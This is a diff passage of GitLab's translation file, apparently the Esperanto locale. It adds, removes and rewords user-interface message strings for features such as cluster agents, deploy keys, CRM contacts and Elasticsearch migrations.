msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr "Aldoni novan dosierujon"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,12 +6563,12 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Precize elekti"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr "Krei novan dosierujon"
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr "Etikedo"
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr "kreos propran atingoĵetonon"
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr "Horzono por Cron"
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr "Nomo de dosierujo"
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
